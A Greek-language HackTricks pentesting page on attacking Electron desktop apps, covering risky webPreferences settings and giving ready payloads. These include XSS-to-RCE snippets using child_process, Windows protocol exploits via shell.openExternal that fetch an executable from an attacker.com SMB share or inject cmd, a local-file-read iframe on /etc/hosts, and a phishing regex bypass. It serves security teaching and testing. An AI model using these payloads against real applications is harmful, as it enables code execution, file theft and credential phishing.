Electron Desktop Apps

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

WhiteIntel είναι μια μηχανή αναζήτησης που τροφοδοτείται από το dark web και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν διαρρεύσει από κλέφτες κακόβουλου λογισμικού.

Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.

Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:


Εισαγωγή

Το Electron συνδυάζει ένα τοπικό backend (με NodeJS) και ένα frontend (Chromium), αν και λείπουν μερικοί μηχανισμοί ασφαλείας των σύγχρονων περιηγητών.

Συνήθως μπορείτε να βρείτε τον κώδικα της εφαρμογής Electron μέσα σε μια εφαρμογή .asar, για να αποκτήσετε τον κώδικα πρέπει να τον εξάγετε:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Στον πηγαίο κώδικα μιας εφαρμογής Electron, μέσα στο packet.json, μπορείτε να βρείτε καθορισμένο το αρχείο main.js όπου έχουν οριστεί οι ρυθμίσεις ασφαλείας.

{
"name": "standard-notes",
"main": "./app/index.js",

Το Electron έχει 2 τύπους διεργασιών:

  • Κύρια Διεργασία (έχει πλήρη πρόσβαση στο NodeJS)

  • Διεργασία Απεικονιστή (θα πρέπει να έχει περιορισμένη πρόσβαση στο NodeJS για λόγους ασφαλείας)

Μια διεργασία απεικονιστή θα είναι ένα παράθυρο περιήγησης που φορτώνει ένα αρχείο:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

Οι ρυθμίσεις της διερμηνευτικής διαδικασίας μπορούν να διαμορφωθούν στη κύρια διεργασία μέσα στο αρχείο main.js. Κάποιες από τις ρυθμίσεις θα εμποδίσουν την εφαρμογή Electron να λάβει RCE ή άλλες ευπάθειες αν οι ρυθμίσεις είναι διαμορφωμένες σωστά.

Η εφαρμογή Electron μπορεί να έχει πρόσβαση στη συσκευή μέσω των διεργασιών του Node, αν και μπορεί να ρυθμιστεί για να το αποτρέψει:

  • nodeIntegration - είναι off από προεπιλογή. Αν είναι ενεργοποιημένο, επιτρέπει την πρόσβαση σε χαρακτηριστικά του Node από τη διερμηνευτική διαδικασία.

  • contextIsolation - είναι on από προεπιλογή. Αν είναι απενεργοποιημένο, οι κύριες και οι διερμηνευτικές διαδικασίες δεν είναι απομονωμένες.

  • preload - κενό από προεπιλογή.

  • sandbox - είναι απενεργοποιημένο από προεπιλογή. Θα περιορίσει τις ενέργειες που μπορεί να εκτελέσει το NodeJS.

  • Ενσωμάτωση του Node σε Εργαζόμενους

  • nodeIntegrationInSubframes - είναι off από προεπιλογή.

  • Αν το nodeIntegration είναι ενεργοποιημένο, αυτό θα επιτρέψει τη χρήση των API του Node.js σε ιστοσελίδες που φορτώνονται σε iframes μέσα σε μια εφαρμογή Electron.

  • Αν το nodeIntegration είναι απενεργοποιημένο, τότε τα προ-φορτώσεις θα φορτώνονται στο iframe

Παράδειγμα διαμόρφωσης:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Μερικά φορτία RCE από εδώ:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Καταγραφή κίνησης

Τροποποιήστε τη διαμόρφωση start-main και προσθέστε τη χρήση ενός proxy όπως:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Ενσωμάτωση Τοπικού Κώδικα στο Electron

Εάν μπορείτε να εκτελέσετε τοπικά μια εφαρμογή Electron, είναι δυνατόν να την κάνετε να εκτελέσει αυθαίρετο κώδικα JavaScript. Ελέγξτε πώς στο:

pagemacOS Electron Applications Injection

RCE: XSS + nodeIntegration

Εάν το nodeIntegration έχει οριστεί σε on, το JavaScript μιας ιστοσελίδας μπορεί να χρησιμοποιήσει εύκολα χαρακτηριστικά του Node.js απλά καλώντας το require(). Για παράδειγμα, ο τρόπος εκτέλεσης της εφαρμογής υπολογιστή στα Windows είναι:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

Το script που υποδεικνύεται σε αυτή τη ρύθμιση φορτώνεται πριν από άλλα scripts στον renderer, έχοντας απεριόριστη πρόσβαση στα Node APIs:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Επομένως, το σενάριο μπορεί να εξάγει τα χαρακτηριστικά του κόμβου σε σελίδες:

preload.js
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
index.html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

Αν το contextIsolation είναι ενεργοποιημένο, αυτό δεν θα λειτουργήσει

RCE: XSS + contextIsolation

Το contextIsolation εισάγει τα ξεχωριστά περιβάλλοντα μεταξύ των scripts της ιστοσελίδας και του εσωτερικού κώδικα JavaScript του Electron ώστε η εκτέλεση του JavaScript κάθε κώδικα να μην επηρεάζει τον άλλο. Αυτό είναι ένα απαραίτητο χαρακτηριστικό για την εξάλειψη της δυνατότητας RCE.

Αν τα περιβάλλοντα δεν είναι απομονωμένα, ένας επιτιθέμενος μπορεί:

  1. Να εκτελέσει οποιοδήποτε JavaScript στον renderer (XSS ή πλοήγηση σε εξωτερικές ιστοσελίδες)

  2. Να αντικαταστήσει την ενσωματωμένη μέθοδο που χρησιμοποιείται στο preload ή στον εσωτερικό κώδικα του Electron με δική του λειτουργία

  3. Να ενεργοποιήσει τη χρήση της αντικατασταθείσας λειτουργίας

  4. RCE?

Υπάρχουν 2 μέρη όπου οι ενσωματωμένες μέθοδοι μπορούν να αντικατασταθούν: Στον κώδικα preload ή στον εσωτερικό κώδικα του Electron:

pageElectron contextIsolation RCE via preload codepageElectron contextIsolation RCE via Electron internal codepageElectron contextIsolation RCE via IPC

Παράκαμψη συμβάντος κλικ

Αν υπάρχουν περιορισμοί που εφαρμόζονται όταν κάνετε κλικ σε ένα σύνδεσμο, μπορείτε να τους παρακάμψετε κάνοντας κλικ με το κέντρο αντί για ένα κανονικό αριστερό κλικ

window.addEventListener('click', (e) => {

RCE μέσω shell.openExternal

Για περισσότερες πληροφορίες σχετικά με αυτά τα παραδείγματα ελέγξτε https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 και https://benjamin-altpeter.de/shell-openexternal-dangers/

Κατά την ανάπτυξη μιας εφαρμογής Electron desktop, είναι κρίσιμο να διασφαλιστούν οι σωστές ρυθμίσεις για το nodeIntegration και το contextIsolation. Έχει επιβεβαιωθεί ότι η εκτέλεση κώδικα απομακρυσμένα (RCE) προς τα preload scripts ή τον φυσικό κώδικα του Electron από την κύρια διεργασία αποτρέπεται αποτελεσματικά με αυτές τις ρυθμίσεις σε ισχύ.

Κατά την αλληλεπίδραση ενός χρήστη με συνδέσμους ή με το άνοιγμα νέων παραθύρων, ενεργοποιούνται συγκεκριμένοι ακροατές συμβάντων, οι οποίοι είναι κρίσιμοι για την ασφάλεια και τη λειτουργικότητα της εφαρμογής:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Αυτοί οι ακροατές αντικαθίστανται από την εφαρμογή επιφάνειας εργασίας για την υλοποίηση της επιχειρηματικής λογικής της. Η εφαρμογή αξιολογεί εάν ένας πλοηγούμενος σύνδεσμος πρέπει να ανοίξει εσωτερικά ή σε έναν εξωτερικό περιηγητή ιστού. Αυτή η απόφαση καθορίζεται συνήθως μέσω μιας συνάρτησης, openInternally. Εάν αυτή η συνάρτηση επιστρέφει false, υποδηλώνει ότι ο σύνδεσμος πρέπει να ανοίξει εξωτερικά, χρησιμοποιώντας τη συνάρτηση shell.openExternal.

Εδώ υπάρχει απλοποιημένο ψευδοκώδικα:

Οι βέλτιστες πρακτικές ασφαλείας του Electron JS συνιστούν να μην γίνεται δεκτό μη αξιόπιστο περιεχόμενο με τη συνάρτηση openExternal, καθώς αυτό θα μπορούσε να οδηγήσει σε RCE μέσω διαφόρων πρωτοκόλλων. Τα λειτουργικά συστήματα υποστηρίζουν διαφορετικά πρωτόκολλα που ενδέχεται να ενεργοποιήσουν RCE. Για λεπτομερείς παραδείγματα και περαιτέρω εξήγηση σχετικά με αυτό το θέμα, μπορεί κάποιος να ανατρέξει σε αυτό τον πόρο, ο οποίος περιλαμβάνει παραδείγματα πρωτοκόλλων των Windows που μπορούν να εκμεταλλευτούν αυτήν την ευπάθεια.

Παραδείγματα εκμετάλλευσης πρωτοκόλλων των Windows περιλαμβάνουν:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Ανάγνωση Εσωτερικών Αρχείων: XSS + contextIsolation

Η απενεργοποίηση του contextIsolation επιτρέπει τη χρήση των ετικετών <webview>, παρόμοια με τις <iframe>, για την ανάγνωση και εξυφάντωση τοπικών αρχείων. Ένα παράδειγμα παρέχει τον τρόπο εκμετάλλευσης αυτής της ευπάθειας για την ανάγνωση των περιεχομένων εσωτερικών αρχείων:

Επιπλέον, μια άλλη μέθοδος για την ανάγνωση ενός εσωτερικού αρχείου κοινοποιείται, επισημαίνοντας μια κρίσιμη ευπάθεια ανάγνωσης τοπικού αρχείου σε μια εφαρμογή επιφάνειας εργασίας Electron. Αυτό περιλαμβάνει την ενσωμάτωση ενός script για την εκμετάλλευση της εφαρμογής και την εξυφάντωση δεδομένων:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Παλιό Chromium

Αν το chromium που χρησιμοποιείται από την εφαρμογή είναι παλιό και υπάρχουν γνωστές ευπαθείες σε αυτό, είναι πιθανό να είναι δυνατή η εκμετάλλευσή του και η απόκτηση RCE μέσω ενός XSS. Μπορείτε να δείτε ένα παράδειγμα σε αυτό το writeup: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing μέσω παράκαμψης εσωτερικού URL regex

Υποθέτοντας ότι βρήκατε ένα XSS αλλά δεν μπορείτε να ενεργοποιήσετε RCE ή να κλέψετε εσωτερικά αρχεία, μπορείτε να προσπαθήσετε να το χρησιμοποιήσετε για να κλέψετε διαπιστευτήρια μέσω phishing.

Καταρχάς, πρέπει να γνωρίζετε τι συμβαίνει όταν προσπαθείτε να ανοίξετε ένα νέο URL, ελέγχοντας τον κώδικα JS στο μέτωπο:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Η κλήση στο openInternally θα αποφασίσει εάν το σύνδεσμος θα ανοίξει στο παράθυρο της επιφάνειας εργασίας ως σύνδεσμος που ανήκει στην πλατφόρμα, ή αν θα ανοίξει στο πρόγραμμα περιήγησης ως πόρος τρίτου μέρους.

Στην περίπτωση που το regex που χρησιμοποιείται από τη συνάρτηση είναι ευάλωτο σε παρακάμψεις (για παράδειγμα μην αποδράσει τα τελεία των υποτομέων) ένας επιτιθέμενος θα μπορούσε να καταχραστεί το XSS για να ανοίξει ένα νέο παράθυρο το οποίο θα βρίσκεται στη υποδομή του επιτιθέμενου ζητώντας διαπιστευτήρια από τον χρήστη:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Εργαλεία

  • Electronegativity είναι ένα εργαλείο για την αναγνώριση λανθασμένων ρυθμίσεων και αντι-προτύπων ασφάλειας σε εφαρμογές που βασίζονται σε Electron.

  • Electrolint είναι ένα πρόσθετο του VS Code για εφαρμογές Electron που χρησιμοποιεί το Electronegativity.

  • nodejsscan για έλεγχο ευπαθών βιβλιοθηκών τρίτων

  • Electro.ng: Πρέπει να το αγοράσετε

Εργαστήρια

Στο https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s μπορείτε να βρείτε ένα εργαστήριο για την εκμετάλλευση ευπαθών εφαρμογών Electron.

Μερικές εντολές που θα σας βοηθήσουν με το εργαστήριο:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Αναφορές

WhiteIntel είναι μια μηχανή αναζήτησης που τροφοδοτείται από το dark web και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν διαρρεύσει από κλέφτες κακόβουλου λογισμικού.

Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αρπαγών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.

Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated